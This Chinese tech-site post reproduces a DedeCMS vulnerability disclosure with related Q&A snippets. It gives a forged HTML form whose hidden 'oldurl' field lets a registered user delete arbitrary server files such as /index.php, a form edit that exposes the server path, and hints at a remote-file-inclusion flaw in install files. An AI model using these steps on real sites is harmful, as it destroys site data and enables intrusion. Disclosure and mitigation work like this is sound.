欢迎您访问我爱IT技术网，今天小编为你分享的电脑教程是建站经验系列之：【DEDECMS 最新漏洞可任意删除文件】，下面是详细的分享！
DEDECMS 最新漏洞可任意删除文件
DEDECMS 最新漏洞,可任意删除文件。DEDE在五月发布了最新的补丁。可是这个补丁并没有用。现在将些BUG发布出来。
1.删除网站任意文件.
2.显示对路径
1.删除任意文件.
注册正常用户...随意找个地方上传个附件就OK.
部分代码:
<form class="mTB10 mL10 mR10" name="form1" action="http://网站地址/member/uploads_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="aid" value="28" />
<input type="hidden" name="mediatype" value="1" />
<input type="hidden" name="oldurl" value="要删除的文件" /> <!--如value="/index.php">
<input type="hidden" name="dopost" value="save" />
<table cellspacing="1" class="submit">
修改完毕后.打开HTML页.直接点提交.
然后在用户管理附件里点击删除.
2.爆路径.
也是利用原来的html代码..
<td align="right" valign="top">更换附件：</td>
<td><input name="addonfile" type="file" id="addonfile" style="width:300px" /></td>
把type="file"删除.保存.然后打开.直接点提交.
就可以爆路径了..
临时解决方法.:禁止用户注册.或禁止用户发附件
聚站吧|站长资讯交流群 84087572欢迎大家前来交流。
以上所分享的是关于DEDECMS 最新漏洞可任意删除文件，下面是编辑为你推荐的有价值的用户互动：
相关问题：如何利用DedeCMS lt;5.7-sp1远程文件包含漏洞
答：其实能看懂代码的话这个漏洞非常简单，虽然标题是文件包含，实际上是因为变量覆盖引起的 漏洞文件在install/index.php.bak 17 $install_demo_name = 'dedev57demo.txt'; 18 $insLockfile = dirname(__FILE__).'/install_lock.txt'; 29 foreach(A... >>详细
相关问题：我用织梦程序建了个网站，下载了个北极熊扫描器，...
答：360网站安全检测 你试试这个不过这个好像要求必须上线,织梦的网站漏洞本身就多,而且容易被攻击,你的目录人家都猜得到.因为用的人太多.我们这儿一个搞二次开发的小孩,不会编程大学学的是网络工程,他就会专门对dede进行攻击(因为还有专门的教程如... >>详细
相关问题：dedecms中install删除哪个文件可以重新安装
答：删除 install目录下的install_lock.txt文件 同时还得将index.php.bak和module-install.php.bak重命名为 index.php和module-install.php， 然后使用 http://你的域名/install/ 进行安装 PS：重新安装前请备份数据，如果装到同一个数据库的话会清... >>详细
- 评论列表（网友评论仅供网友表达个人看法，并不表明本站同意其观点或证实其描述）
-